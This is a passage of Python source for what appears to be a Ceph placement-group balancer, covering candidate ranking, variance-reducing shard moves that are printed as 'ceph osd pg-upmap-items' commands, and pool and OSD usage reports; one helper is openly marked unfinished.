\"\"\"\n        return the ideal pg count for a pool id for some osdid.\n        \"\"\"\n\n        osd_size = self.get_osd_size(osdid)\n        if osd_size == 0:\n            return 0\n\n        return self.pool_pg_count_ideal(poolid, candidate_osds) * osd_size\n\n    def get_pool_max_avail(self, poolid):\n        \"\"\"\n        given a pool id, predict how much space is available with the current mapping.\n        similar to what `ceph df` tries to estimate\n        \"\"\"\n\n        # TODO missing implementation details!\n\n        pool = pools[poolid]\n        pool_size = pool['size']\n        pool_pg_num = pool['pg_num']\n        pool_crushrule = crushrules[pool['crush_rule']]\n\n        # cf. PGMap::get_rule_avail\n        # (rootname, ruleweight)\n        rootweights = rootweights_from_rule(pool_crushrule, pool_size)\n        rootweightsum = sum(rootweights.values())\n        osdid_candidates = set()\n        for root_name in rootweights.keys():\n            osdid_candidates |= candidates_for_root(root_name)\n\n        avail = -1\n        for osdid in osdid_candidates:\n            if osds[osdid]['weight'] == 0 or osds[osdid]['crush_weight'] == 0:\n                continue\n\n            # calculation for `ceph df` max_avail:\n            # weight = (crushweight[osdid] / deviceclass[osdid]_crushsum) * (rootweights[deviceclass_of[osdid]] / rootweightsum)\n            #\n            # better (since actual pg placement counts, not just hypothetical crush weights):\n            # how many pgs of the given pool are on that osd\n            # idea: have weight = (osd_weight * osd_pool_pg_count) / (osdid_candidates_crushweightsum * pool_pg_count)\n            # TODO: include rule rootweights!\n            osd_pool_pg_count = self.osd_pool_pg_count(osdid)[poolid]\n            weight = (osd_pool_pg_count / sum_crushweight_osds_in_pool) / (pool_pg_num * pool_size / osdid_candidates_crushweightsum )\n\n            unusable = osd_device_size[osdid] * (1.0 - full_ratio)\n            devavail = max(0, osd_stats[osdid].kb_avail - unusable)\n            # scale up device-available with it's fraction of the whole pool's crush weight\n            proj = devavail / weight\n            if proj < avail or avail < 0:\n                avail = proj\n\n        # scale down for replica/ec-usage\n        max_avail = (avail / pool_use_rate)\n        return max_avail\n\n\nclass PGShardProps:\n    \"\"\"\n    info about one shard of a PG, i.e. the PG piece present on an OSD.\n    \"\"\"\n    def __init__(self, size, remapped, upmap_count):\n        self.size = size\n\n        # bool: true, if the shard is not yet fully moved,\n        # i.e. its in up, but not in acting of the osd\n        # so we can prefer moving a pg that's not yet copied fully\n        self.remapped = remapped\n\n        # int: number of remappings the pg currently has\n        # the more upmap items it has, the farther it is away from crush\n        # -> the lower, the better.\n        self.upmap_count = upmap_count\n\n    def __lt__(self, other):\n        \"\"\"\n        the \"least\" pg props entry is the one we try first.\n        \"\"\"\n        # TODO: smarter selection of pg movement candiates\n        # [x] order pgs by size, from big to small\n        # [ ] order pgs by pg's num_omap_bytes\n        # [x] prefer pgs that are remapped (up != acting)\n        # [ ] prefer pgs that have a upmap item and could be removed (tricky - since we have to know destination OSD)\n        # [x] prefer pgs that don't have upmaps already to minimize \"distance\" to crush mapping\n        # [ ] prefer pgs whose upmap item uses the current osd as mapping target (-> so we don't add more items)\n        # [ ] perfer pgs that have bad pool balance (i.e. their count on this osd doesn't match the expected one) (we enforce that constraint anyway, but we may never pick a pg from another pool that would be useful to balance)\n        # [ ] only consider source/dest osds of a pg that was remapped, not any osd of the whole pg\n\n        # \"most important\" sorting first\n        # so if the \"important\" path is the same, sort by other means\n\n        # prefer pgs that are remapped\n        if self.remapped != other.remapped:\n            return self.remapped\n\n        if self.upmap_count != other.upmap_count:\n            return self.upmap_count < other.upmap_count\n\n        # prefer biggest sized pgs\n        # TODO: integrate the automatic size selection feature\n        if self.size != other.size:\n            return self.size > other.size\n\n        return False\n\n    def __str__(self):\n        return f\"size={pformatsize(self.size)} remapped={self.remapped} upmaps={self.upmap_count}\"\n\n\nclass PGCandidates:\n    \"\"\"\n    Generate movement candiates to empty the given osd.\n    \"\"\"\n\n    def get_properties(self, pgid):\n        return self.pg_properties[pgid]\n\n    def __init__(self, pg_mappings, osd):\n        up_pgs = pg_mappings.get_osd_pgs_up(osd)\n        acting_pgs = pg_mappings.get_osd_pgs_acting(osd)\n        remapped_pgs = up_pgs - acting_pgs\n\n        self.pg_candidates = list()\n        self.pg_properties = dict()\n\n        # we can move up pgs away - they are on the osd or planned to be on it.\n        for pgid in up_pgs:\n            pg_pool = pool_from_pg(pgid)\n            if only_poolids and pg_pool not in only_poolids:\n                continue\n\n            self.pg_candidates.append(pgid)\n\n            self.pg_properties[pgid] = PGShardProps(\n                size=get_pg_shardsize(pgid),\n                remapped=(pgid in remapped_pgs),   # the shard is not yet fully moved\n                upmap_count=len(pg_mappings.get_pg_upmap(pgid))\n            )\n\n        # best candidate first\n        pg_candidates_desc = list(sorted(self.pg_candidates,\n                                         key=lambda pg: self.pg_properties[pg]))\n\n        # reorder potential pg_candidates by configurable approaces\n        pg_choice_method = args.pg_size_choice\n        pg_walk_anchor = None\n\n        # TODO: move these choice methods also into the PGShardProps comparison function\n        if pg_choice_method == 'auto':\n            # choose the PG choice method based on\n            # the utilization differences of the fullest and emptiest candidate OSD.\n\n            # if we could move there, most balance would be created.\n            # use this to guess the shard size to move.\n            best_target_osd, best_target_osd_usage = pg_mappings.get_osd_usages()[-1]\n\n            for idx, pg_candidate in enumerate(pg_candidates_desc):\n                pg_candidate_size = self.pg_properties[pg_candidate].size\n                # try the largest pg candidate first, and become smaller every step\n                target_predicted_usage = pg_mappings.get_osd_usage(best_target_osd, add_size=pg_candidate_size)\n                # if the optimal osd's predicted usage is < (target_usage + source_usage)/2 + limit\n                # the whole PG fits (at least size-wise. the crush check comes later)\n                # -> we try to move the biggest fitting PG first.\n                mean_usage = (best_target_osd_usage + osd_from_used_percent) / 2\n                if target_predicted_usage <= mean_usage:\n                    logging.debug(strlazy(lambda: f\"  START with PG candidate {pg_candidate} due to perfect size fit \"\n                                                  f\"when moving to best osd.{best_target_osd}.\"))\n                    pg_walk_anchor = idx\n                    break\n\n                logging.debug(strlazy(lambda:\n                              f\"  SKIP candidate size estimation of {pg_candidate} \"\n                              f\"when moving to best osd.{best_target_osd}. \"\n                              f\"predicted={target_predicted_usage:.3f}% > mean={mean_usage:.3f}%\"))\n\n            if pg_walk_anchor is None:\n                # no PG fitted, i.e. no pg was small enough for an optimal move.\n                # so we use the smallest pg (which is still too big by the estimation above)\n                # to work towards the optimal mean usage to achieve ideal balance.\n                # in other words, overshoot the usage mean between the OSDs\n                # by the minimally possible amount.\n                self.pg_candidates = reversed(pg_candidates_desc)\n\n        elif pg_choice_method == 'largest':\n            self.pg_candidates = pg_candidates_desc\n\n        elif pg_choice_method == 'median':\n            # here, we decide to move not the largest/smallest pg, but rather the median one.\n            # order PGs around the median-sized one\n            # [5, 4, 3, 2, 1] => [3, 4, 2, 5, 1]\n            pg_candidates_desc_sizes = [self.pg_properties[pg].size for pg in pg_candidates_desc]\n            pg_candidates_median = statistics.median_low(pg_candidates_desc_sizes)\n            pg_walk_anchor = pg_candidates_desc_sizes.index(pg_candidates_median)\n\n        else:\n            raise Exception('unhandled shard choice')\n\n        # if we have a walk anchor, alternate pg sizes around that anchor point\n        # and build the pg_candidates that way.\n        if pg_walk_anchor is not None:\n            self.pg_candidates = list()\n            hit_left = False\n            hit_right = False\n            for walk_jump in A001057():\n                pg_walk_pos = pg_walk_anchor + walk_jump\n\n                if hit_left and hit_right:\n                    break\n                elif pg_walk_pos < 0:\n                    hit_left = True\n                    continue\n                elif pg_walk_pos >= len(pg_candidates_desc):\n                    hit_right = True\n                    continue\n\n                pg = pg_candidates_desc[pg_walk_pos]\n                self.pg_candidates.append(pg)\n\n            assert len(self.pg_candidates) == len(pg_candidates_desc)\n\n    def get_candidates(self):\n        \"\"\"\n        return an iterable with pgids on the osd,\n        in the order we should try moving them away.\n        \"\"\"\n        return self.pg_candidates\n\n    def get_size(self, pg):\n        return self.pg_properties[pg].size\n\n    def __len__(self):\n        return len(self.pg_candidates)\n\n\ndef A001057():\n    \"\"\"\n    generate [0, 1, -1, 2, -2, 3, -3, ...]\n    https://oeis.org/A001057\n    \"\"\"\n    idx = 0\n    while True:\n        val = int((1 - (2 * idx + 1) * (-1)**idx) / 4)\n        idx += 1\n        yield val\n\n\ndef list_highlight(osdlist, changepos, colorcode):\n    \"\"\"\n    highlight an element at given list position with an ansi color code.\n    \"\"\"\n    ret = list()\n    for idx, osd in enumerate(osdlist):\n        if idx == changepos:\n            ret.append(f\"\\x1b[{colorcode};1m{osd}\\x1b[m\")\n        else:\n            ret.append(str(osd))\n\n    return f\"[{', '.join(ret)}]\"\n\n\ndef print_osd_usages(usagedict):\n    \"\"\"\n    given a sorted (osdid, usage) iterable, print it for debugging.\n    \"\"\"\n    return\n    logging.debug(\"osd usages in ascending order:\")\n    for osdid, usage in usagedict:\n        logging.debug(\"  usage of %s.osd.%s: %.2f%%\", strlazy(lambda: osds[osdid][\"host_name\"]), osdid, usage)\n\n\ndef get_cluster_variance(crushclasses, pg_mappings):\n    \"\"\"\n    get {crushclass -> variance} for given mapping\n    \"\"\"\n    variances = dict()\n    for crushclass in crushclasses:\n        osd_usages = list()\n        for osdid in crushclass_osds[crushclass]:\n            if osds[osdid]['weight'] == 0 or osds[osdid]['crush_weight'] == 0:\n                continue\n            osd_usages.append(pg_mappings.get_osd_usage(osdid))\n\n        class_variance = statistics.variance(osd_usages)\n        variances[crushclass] = class_variance\n\n    return variances\n\n\nif args.mode == 'balance':\n    logging.info(\"running pg balancer\")\n\n    # this is basically my approach to OSDMap::calc_pg_upmaps\n    # and a CrushWrapper::try_remap_rule python-implementation\n\n    enabled_crushclasses = crushclass_osds.keys()\n\n    if args.only_crushclass:\n        enabled_crushclasses = {cls.strip() for cls in args.only_crushclass.split(\",\") if cls.strip()}\n        logging.info(f\"only considering crushclasses {enabled_crushclasses}\")\n\n    only_poolids = set()\n    if args.only_poolid:\n        only_poolids = {int(pool) for pool in args.only_poolid.split(\",\") if pool.strip()}\n\n    if args.only_pool:\n        only_poolids = {int(poolnames[pool.strip()]) for pool in args.only_pool.split(\",\") if pool.strip()}\n\n    if only_poolids:\n        logging.info(f\"only considering pools {only_poolids}\")\n        enabled_crushclasses = set()\n        for poolid in only_poolids:\n            pool = pools[poolid]\n            pool_size = pool['size']\n            pool_crushrule = crushrules[pool['crush_rule']]\n            for root_name in root_uses_from_rule(pool_crushrule, pool_size).keys():\n                enabled_crushclasses |= {osds[osdid]['crush_class'] for osdid in candidates_for_root(root_name)}\n\n    osd_candidates = set()\n    for crushclass in enabled_crushclasses:\n        osd_candidates |= crushclass_osds[crushclass]\n\n    # filter osd candidates by weight, and remove weight=0\n    osd_candidates = {osd for osd in osd_candidates if (osds[osd]['weight'] != 0 and osds[osd]['crush_weight'] != 0)}\n\n    # we'll do all the optimizations in this mapping state\n    pg_mappings = PGMappings(pgs, osds, osd_candidates)\n\n    # to restrict source osds\n    source_osds = None\n    if args.source_osds:\n        source_osds = [int(osdid) for osdid in args.source_osds.split(',')]\n\n    # number of found remaps\n    found_remap_count = 0\n    # size of found remaps\n    found_remap_size_sum = 0\n    force_finish = False\n\n    # start by taking the fullest OSD\n    # this is updated when we do move a pg\n    osd_usages_asc = pg_mappings.get_osd_usages_asc()\n    print_osd_usages(osd_usages_asc)\n\n    logging.info(\"current OSD fill rate per crushclasses:\")\n    for crushclass in enabled_crushclasses:\n        usages = list()\n        for osdid in crushclass_osds[crushclass]:\n            if osds[osdid]['weight'] != 0 and osds[osdid]['crush_weight'] != 0:\n                usages.append(pg_mappings.get_osd_usage(osdid))\n\n        # fillaverage: calculated current osd usage\n        # crushclassusage: used percent of all space provided by this crushclass\n        fillaverage = statistics.mean(usages)\n        fillmedian = statistics.median(usages)\n        crushclass_usage = crushclasses_usage[crushclass]\n        logging.info(f\"  {crushclass}: average={fillaverage:.2f}%, median={fillmedian:.2f}%, without_placement_constraints={crushclass_usage:.2f}%\")\n\n    init_cluster_variance = get_cluster_variance(enabled_crushclasses, pg_mappings)\n    cluster_variance = init_cluster_variance\n\n    logging.info(\"cluster variance for crushclasses:\")\n    for crushclass, variance in init_cluster_variance.items():\n        logging.info(f\"  {crushclass}: {variance:.3f}\")\n\n    # TODO: track these min-max values per crushclass\n    init_osd_min, init_osd_min_used = osd_usages_asc[0]\n    init_osd_max, init_osd_max_used = osd_usages_asc[-1]\n    osd_min = init_osd_min\n    osd_min_used = init_osd_min_used\n    osd_max = init_osd_max\n    osd_max_used = init_osd_max_used\n    logging.info(f\"min osd.{init_osd_min} {init_osd_min_used:.3f}%\")\n    logging.info(f\"max osd.{init_osd_max} {init_osd_max_used:.3f}%\")\n\n    while True:\n        for osdid, usage in osd_usages_asc:\n            if usage >= 100:\n                logging.info(f\"osd.{osdid} has calculated usage >= 100%: {usage}%\")\n\n        if found_remap_count >= args.max_pg_moves:\n            logging.info(\"enough remaps found\")\n            break\n\n        if force_finish:\n            break\n\n        found_remap = False\n\n        unsuccessful_pools = set()\n\n        source_attempts = 0\n        last_attempt = -1\n\n        # try to move the biggest pg from the fullest disk to the next suiting smaller disk\n        for osd_from, osd_from_used_percent in reversed(osd_usages_asc):\n            if found_remap or force_finish:\n                break\n\n            if source_osds is not None:\n                if osd_from not in source_osds:\n                    continue\n\n            source_attempts += 1\n\n            if source_attempts > args.max_full_move_attempts:\n                logging.info(f\"in descending full-order, couldn't empty osd.{last_attempt}, so we're done. \"\n                             f\"if you want to try more often, set --max-full-move-attempts=$nr, this may unlock \"\n                             f\"more balancing possibilities.\")\n                force_finish = True\n                continue\n\n            last_attempt = osd_from\n\n            logging.debug(\"trying to empty osd.%s (%f %%)\", osd_from, osd_from_used_percent)\n\n            # these pgs are up on the source osd,\n            # and are in the order of preference moving them away\n            # TODO: it would be great if we could already know the destination osd candiates here\n            # for better pg candidate selection.\n            pg_candidates = pg_mappings.get_pg_move_candidates(osd_from)\n\n            from_osd_pg_count = pg_mappings.osd_pool_pg_count(osd_from)\n\n            from_osd_satisfied_pools = set()\n\n            # now try to move the candidates to their possible destination\n            # TODO: instead of having all candidates,\n            #       always get the \"next\" one from a \"smart\" iterator\n            #       there we can also feed in the current osd_usages_asc\n            #       in order to \"optimize\" candidates by \"anticipating\" \"target\" \"osds\" \".\"\n            #       even better, we can integrate the PGMoveChecker directly, and thus calculate\n            #       target OSD candidates _within_ the pg candidate generation.\n            for move_pg_idx, move_pg in enumerate(pg_candidates.get_candidates()):\n                move_pg_shardsize = pg_candidates.get_size(move_pg)\n                if found_remap or force_finish:\n                    break\n\n                pg_pool = pool_from_pg(move_pg)\n\n                if pg_pool in from_osd_satisfied_pools:\n                    logging.debug(\"SKIP pg %s since pool=%s-pgs are already below expected on osd.%s\", move_pg, pg_pool, osd_from)\n                    continue\n\n                if pg_pool in unsuccessful_pools:\n                    logging.debug(\"SKIP pg %s since pool (%s) can't be balanced more\", move_pg, pg_pool)\n                    continue\n\n                logging.debug(\"TRY-0 moving pg %s (%s/%s) with %s from osd.%s\", move_pg, move_pg_idx+1, len(pg_candidates), pformatsize(move_pg_shardsize), osd_from)\n\n                try_pg_move = PGMoveChecker(pg_mappings, move_pg)\n                pool_pg_count_ideal = pg_mappings.pool_pg_count_ideal(pg_pool, try_pg_move.get_osd_candidates())\n                from_osd_pg_count_ideal = pool_pg_count_ideal * pg_mappings.get_osd_size(osd_from)\n\n                # only move the pg if the source osd has more PGs of the pool than average\n                # otherwise the regular balancer will fill this OSD again\n                # with another PG (of the same pool) from somewhere\n                if from_osd_pg_count[pg_pool] <= from_osd_pg_count_ideal:\n                    from_osd_satisfied_pools.add(pg_pool)\n                    logging.debug(\"  BAD => skipping pg %s since source osd.%s \"\n                                  \"doesn't have too many of pool=%s (%s <= %s)\",\n                                  move_pg, osd_from, pg_pool, from_osd_pg_count[pg_pool], from_osd_pg_count_ideal)\n                    continue\n                logging.debug(\"  OK => taking pg %s from source osd.%s \"\n                              \"since it has too many of pool=%s (%s > %s)\",\n                              move_pg, osd_from, pg_pool, from_osd_pg_count[pg_pool], from_osd_pg_count_ideal)\n\n                # pre-filter PGs to rule out those that will for sure not gain any space\n                pg_small_enough = False\n                for osd_to in try_pg_move.get_osd_candidates():\n                    target_predicted_usage = pg_mappings.get_osd_usage(osd_to, add_size=move_pg_shardsize)\n\n                    # check if the target osd will be used less than the source\n                    # after we moved the pg\n                    if target_predicted_usage < osd_from_used_percent:\n                        pg_small_enough = True\n                        break\n\n                if not pg_small_enough:\n                    # the pg is so big, it would increase the fill % of all osd_tos more than osd_from is\n                    # so we would increase the variance.\n                    logging.debug(\"  BAD => skipping pg %s, since its not small enough\", move_pg)\n                    continue\n\n                try_pg_move.prepare_crush_check()\n\n                # check variance for this crush root\n                variance_before = try_pg_move.get_placement_variance()\n\n                # try the least full osd that's allowed by crush\n                to_candidates = list(try_pg_move.filter_candidates(osd[0] for osd in osd_usages_asc))\n                for osd_to_idx, osd_to in enumerate(to_candidates):\n                    logging.debug(\"TRY-1 move %s osd.%s => osd.%s (%s/%s)\", move_pg, osd_from, osd_to, osd_to_idx+1, len(to_candidates))\n\n                    if osd_to == osd_from:\n                        logging.debug(\" BAD move to source OSD makes no sense\")\n                        continue\n\n                    # in order to not fight the regular balancer, don't move the PG to a disk\n                    # where the weighted pg count of this pool is already good\n                    # otherwise the balancer will move a pg on the osd_from of this pool somewhere else\n                    # i.e. don't be the +1\n                    to_osd_pg_count = pg_mappings.osd_pool_pg_count(osd_to)\n                    to_osd_pg_count_ideal = pool_pg_count_ideal * pg_mappings.get_osd_size(osd_to)\n                    if to_osd_pg_count[pg_pool] >= to_osd_pg_count_ideal and not to_osd_pg_count_ideal < 1.0:\n                        logging.debug(strlazy(lambda:\n                                      f\" BAD => osd.{osd_to} already has too many of pool={pg_pool} \"\n                                      f\"({to_osd_pg_count[pg_pool]} >= {to_osd_pg_count_ideal})\"))\n                        continue\n                    elif to_osd_pg_count_ideal >= 1.0:\n                        logging.debug(strlazy(lambda:\n                                      f\" OK => osd.{osd_to} has too few of pool={pg_pool} \"\n                                      f\"({to_osd_pg_count[pg_pool]} < {to_osd_pg_count_ideal})\"))\n                    else:\n                        logging.debug(strlazy(lambda:\n                                      f\" OK => osd.{osd_to} doesn't have pool={pg_pool} yet \"\n                                      f\"({to_osd_pg_count[pg_pool]} < {to_osd_pg_count_ideal})\"))\n\n                    # how full will the target be\n                    target_predicted_usage = pg_mappings.get_osd_usage(osd_to, add_size=move_pg_shardsize)\n                    source_usage = pg_mappings.get_osd_usage(osd_from)\n\n                    # check that the destination osd won't be more full than the source osd\n                    # but what if we're balanced very good already? wouldn't we allow this if the variance decreased anyway?\n                    # maybe make it an optional flag because of this (--ensure-decreasing-usage)\n                    if target_predicted_usage > source_usage:\n                        logging.debug(strlazy(lambda:\n                                      f\" BAD target will be more full than source currently is: \"\n                                      f\"osd.{osd_to} would have {target_predicted_usage:.3f}%, \"\n                                      f\"and source's osd.{osd_from} currently is {source_usage:.3f}%\"))\n                        continue\n\n                    # check if the movement size is nice\n                    if args.ensure_optimal_moves:\n                        # check if there's a target osd that will be filled less than mean of osd_to and osd_from after move\n                        # predicted_target_usage < (target_usage + source_usage)/2 + limit\n                        mean_usage = (pg_mappings.get_osd_usage(osd_to) + osd_from_used_percent) / 2\n                        if target_predicted_usage > mean_usage:\n                            logging.debug(f\" BAD non-optimal size {move_pg} predicted={target_predicted_usage:.3f}% > mean={mean_usage:.3f}%\")\n                            continue\n\n                    if not try_pg_move.is_move_valid(osd_from, osd_to):\n                        logging.debug(f\" BAD move {move_pg} osd.{osd_from} => osd.{osd_to}\")\n                        continue\n\n                    # check if the variance is decreasing\n                    new_variance = try_pg_move.get_placement_variance(osd_from, osd_to)\n\n                    if new_variance >= variance_before:\n                        # even if the variance increases, we ensure we do progress by the\n                        # guaranteed usage rate decline\n                        if args.ensure_variance_decrease:\n                            logging.debug(f\" BAD => variance not decreasing: {new_variance} not < {variance_before}\")\n                            continue\n\n                    new_mapping_pos = None\n\n                    prev_pg_mapping = pg_osds_up[move_pg]\n                    new_pg_mapping = list()\n                    for idx, osdid in enumerate(prev_pg_mapping):\n                        if osdid == osd_from:\n                            osdid = osd_to\n                            new_mapping_pos = idx\n                        new_pg_mapping.append(osdid)\n\n                    pg_mappings.apply_remap(move_pg, osd_from, osd_to)\n\n                    # refresh our global osd usage mapping\n                    osd_usages_asc = pg_mappings.get_osd_usages_asc()\n                    osd_min, osd_min_used = osd_usages_asc[0]\n                    osd_max, osd_max_used = osd_usages_asc[-1]\n                    cluster_variance = get_cluster_variance(enabled_crushclasses, pg_mappings)\n\n                    # TODO: calculate win rate so we can predict the total free storage then\n                    #       so we know how much actual free space our movement brought!\n                    if new_variance > variance_before:\n                        variance_op = \">\"\n                    elif new_variance < variance_before:\n                        variance_op = \"<\"\n                    else:\n                        variance_op = \"==\"\n\n                    logging.info(f\"  SAVE move {move_pg} osd.{osd_from} => osd.{osd_to} \")\n                    logging.info(f\"    props: {pg_candidates.get_properties(move_pg)}\")\n                    logging.debug(strlazy(lambda: f\"    pg {move_pg} was on {list_highlight(prev_pg_mapping, new_mapping_pos, 31)}\"))\n                    logging.debug(strlazy(lambda: f\"    pg {move_pg} now on {list_highlight(new_pg_mapping, new_mapping_pos, 32)}\"))\n                    logging.info(f\"    => variance new={new_variance} {variance_op} {variance_before}=old\")\n                    logging.info(f\"    new min osd.{osd_min} {osd_min_used:.3f}%\")\n                    logging.info(f\"        max osd.{osd_max} {osd_max_used:.3f}%\")\n                    logging.info(f\"    new cluster variance:\")\n                    for crushclass, variance in cluster_variance.items():\n                        logging.info(f\"      {crushclass}: {variance:.3f}\")\n\n                    found_remap = True\n                    found_remap_count += 1\n                    # TODO: calculate this though the PGMappings remaps\n                    found_remap_size_sum += move_pg_shardsize\n                    break\n\n                if not found_remap:\n                    # we tried all osds to place this pg,\n                    # so the shardsize is just too big\n                    # if pg_size_choice is auto, we try to avoid this PG anyway,\n                    # but if we still end up here, it means the choices for moves are really\n                    # becoming tight.\n                    unsuccessful_pools.add(pg_pool)\n\n    # show results!\n    print_osd_usages(osd_usages_asc)\n    logging.info(80*\"-\")\n    logging.info(f\"generated {found_remap_count} remaps.\")\n    logging.info(f\"total movement size: {pformatsize(found_remap_size_sum)}.\")\n    logging.info(80*\"-\")\n    logging.info(\"old cluster variance per crushclass:\")\n    for crushclass, variance in init_cluster_variance.items():\n        logging.info(f\"  {crushclass}: {variance:.3f}\")\n    logging.info(f\"old min osd.{init_osd_min} {init_osd_min_used:.3f}%\")\n    logging.info(f\"old max osd.{init_osd_max} {init_osd_max_used:.3f}%\")\n    logging.info(80*\"-\")\n    logging.info(f\"new min osd.{osd_min} {osd_min_used:.3f}%\")\n    logging.info(f\"new max osd.{osd_max} {osd_max_used:.3f}%\")\n    logging.info(f\"new cluster variance:\")\n    for crushclass, variance in cluster_variance.items():\n        logging.info(f\"  {crushclass}: {variance:.3f}\")\n    logging.info(80*\"-\")\n    for pg, upmaps in pg_mappings.get_upmaps().items():\n        if upmaps:\n            upmap_str = \" \".join([f\"{osd_from} {osd_to}\" for (osd_from, osd_to) in upmaps])\n            print(f\"ceph osd pg-upmap-items {pg} {upmap_str}\")\n        else:\n            print(f\"ceph osd rm-pg-upmap-items {pg}\")\n\n\nelif args.mode == 'show':\n    if args.format == 'plain':\n        poolname = 'name'.ljust(maxpoolnamelen)\n        print()\n        print(f\"{'poolid': >6} {poolname} {'type': <7} {'size': >5} {'min': >3} {'pg_num': >6} {'stored': >7} {'used': >7} {'avail': >7} {'shrdsize': >8} crush\")\n\n        # default, sort by pool id\n        sort_func = lambda x: x[0]\n\n        if args.sort_shardsize:\n            sort_func = lambda x: x[1]['pg_shard_size_avg']\n\n        stored_sum = 0\n        stored_sum_class = defaultdict(int)\n        used_sum = 0\n        used_sum_class = defaultdict(int)\n\n        for poolid, poolprops in sorted(pools.items(), key=sort_func):\n            poolname = poolprops['name'].ljust(maxpoolnamelen)\n            repl_type = poolprops['repl_type']\n            if repl_type == \"ec\":\n                profile = ec_profiles[poolprops['erasure_code_profile']]\n                repl_type = f\"ec{profile['data_chunks']}+{profile['coding_chunks']}\"\n\n            crushruleid = poolprops['crush_rule']\n            crushrule = crushrules[crushruleid]\n            crushrulename = crushrule['name']\n            rootweights = rootweights_from_rule(crushrule, poolprops[\"size\"])\n\n            rootweights_ppl = list()\n            for crushroot, weight in rootweights.items():\n                stored_sum_class[crushroot] += poolprops['stored'] * weight\n                used_sum_class[crushroot] += poolprops['used'] * weight\n                rootweights_ppl.append(f\"{crushroot}*{weight:.3f}\")\n\n            size = poolprops['size']\n            min_size = poolprops['min_size']\n            pg_num = poolprops['pg_num']\n            stored_sum += poolprops['stored']\n            used_sum += poolprops['used']\n            stored = pformatsize(poolprops['stored'])  # used data excl metadata\n            used = pformatsize(poolprops['used'])  # raw usage incl metastuff\n            avail = pformatsize(poolprops['store_avail'])\n            shard_size = pformatsize(poolprops['pg_shard_size_avg'])\n            rootweights_pp = \",\".join(rootweights_ppl)\n            print(f\"{poolid: >6} {poolname} {repl_type: <7} {size: >5} {min_size: >3} {pg_num: >6} {stored: >7} {used: >7} {avail: >7} {shard_size: >8} {crushruleid}:{crushrulename} {rootweights_pp: >12}\")\n\n        for crushroot in stored_sum_class.keys():\n            crushclass_usage = \"\"\n            crush_tree_class = crushroot.split(\"~\")\n            if len(crush_tree_class) >= 2:\n                crush_class = crush_tree_class[1]\n                crushclass_usage = f\"{crushclasses_usage[crush_class]:.3f}%\"\n\n            print(f\"{crushroot: <14}    {' ' * maxpoolnamelen} {' ' * 13} \"\n                  f\"{pformatsize(stored_sum_class[crushroot], 2): >7} \"\n                  f\"{pformatsize(used_sum_class[crushroot], 2): >7}\"\n                  f\"{crushclass_usage: >10}\")\n\n        print(f\"sum    {' ' * maxpoolnamelen} {' ' * 24} {pformatsize(stored_sum, 2): >7} {pformatsize(used_sum, 2): >7}\")\n\n        if args.osds:\n            if args.only_crushclass:\n                maxcrushclasslen = len(args.only_crushclass)\n            maxcrushclasslen = min(maxcrushclasslen, len('class'))\n            crushclassheader = 'cls'.rjust(maxcrushclasslen)\n\n            osd_entries = list()\n\n            for osdid, props in osds.items():\n                hostname = props.get('host_name', '?')\n                crushclass = props['crush_class']\n\n                if args.only_crushclass:\n                    if crushclass != args.only_crushclass:\n                        continue\n\n                if props['device_size'] == 0:\n                    util_val = 0\n                elif args.use_shardsize_sum:\n                    used = 0\n                    if args.pgstate == 'up':\n                        placed_pgs = props['pgs_up']\n                    elif args.pgstate == 'acting':\n                        placed_pgs = props['pgs_acting']\n                    else:\n                        raise Exception(\"unknown pgstate\")\n\n                    for pg in placed_pgs:\n                        used += get_pg_shardsize(pg)\n\n                else:\n                    used = props['device_used']\n\n                if props['device_size'] == 0:\n                    util_val = 0\n                else:\n                    util_val = 100 * used / props['device_size']\n\n                weight_val = props['weight']\n                cweight = props['crush_weight']\n\n                if args.use_weighted_utilization:\n                    if weight_val == 0:\n                        util_val = 0\n                    else:\n                        util_val /= weight_val\n\n                if util_val < args.osd_fill_min:\n                    continue\n\n                devsize = props['device_size']\n\n                if args.pgstate == 'up':\n                    pg_count = props.get('pg_count_up', {})\n                    pg_num = props.get('pg_num_up', 0)\n                elif args.pgstate == 'acting':\n                    pg_count = props.get('pg_count_acting', dict())\n                    pg_num = props.get('pg_num_acting', 0)\n                else:\n                    raise Exception(\"unknown pgstate\")\n\n                pool_list = dict()\n                for pool, count in sorted(pg_count.items()):\n\n                    if args.normalize_pg_count:\n                        # normalize to terrabytes\n                        if devsize >= 0:\n                            count /= devsize / 1024 ** 4\n                        else:\n                            count = 0\n\n                    pool_list[pool] = count\n\n                class_val = crushclass.rjust(maxcrushclasslen)\n\n                osd_entries.append((osdid, hostname, class_val, devsize, weight_val, cweight, util_val, pg_num, pool_list))\n\n            # default sort by osdid\n            sort_func = lambda x: x[0]\n\n            if args.sort_utilization:\n                sort_func = lambda x: x[6]\n\n            if args.sort_pg_count is not None:\n                sort_func = lambda x: x[7].get(args.sort_pg_count, 0)\n\n            # header:\n            print()\n            print(f\"{'osdid': >6} {'hostname': >10} {crushclassheader} {'devsize': >7} {'weight': >6} {'cweight': >7} {'util': >5} {'pg_num': >6}  pools\")\n            for osdid, hostname, crushclass, devsize, weight, cweight, util, pg_num, pool_pgs in sorted(osd_entries, key=sort_func):\n\n                pool_overview = list()\n                for pool, count in pool_pgs.items():\n                    if args.per_pool_count:\n                        if type(count) == float:\n                            entry = f\"{pool}({count:.1f})\"\n                        else:\n                            entry = f\"{pool}({count})\"\n                    else:\n                        entry = f\"{pool}\"\n\n                    if args.sort_pg_count == pool:\n                        pool_overview.insert(0, entry)\n                    else:\n                        pool_overview.append(entry)\n                util = \"%.1f%%\" % util\n                weight = \"%.2f\" % weight\n\n                pool_list_str = ' '.join(pool_overview)\n                print(f\"{osdid: >6} {hostname: >10} {crushclass} {pformatsize(devsize): >7} {weight: >6} {pformatsize(cweight): >7} {util: >5} {pg_num: >6}  {pool_list_str}\")\n\n    elif args.format == 'json':\n        ret = {\n            'pgstate': args.pgstate,\n            'pools': pools,\n            'osds': osds,\n        }\n\n        print(json.dumps(ret))\n\nelif args.mode == 'showremapped':\n    # pgid -> move information\n    pg_move_status = dict()\n\n    for pg, pginfo in pgs.items():\n        pgstate = pginfo[\"state\"].split(\"+\")\n        if \"remapped\" in pgstate:\n\n            moves = list()\n            osd_move_count = 0\n            for osds_from, osds_to in get_remaps(pginfo):\n                froms = ','.join(str(osd) for osd in osds_from)\n                tos = ','.join(str(osd) for osd in osds_to)\n                moves.append(f\"{froms}->{tos}\")\n                osd_move_count += len(osds_to)\n\n            # multiply with move-count since each shard remap moves all objects again\n            objs_total = pginfo[\"stat_sum\"][\"num_objects\"] * osd_move_count\n            objs_misplaced = pginfo[\"stat_sum\"][\"num_objects_misplaced\"]\n            objs_degraded = 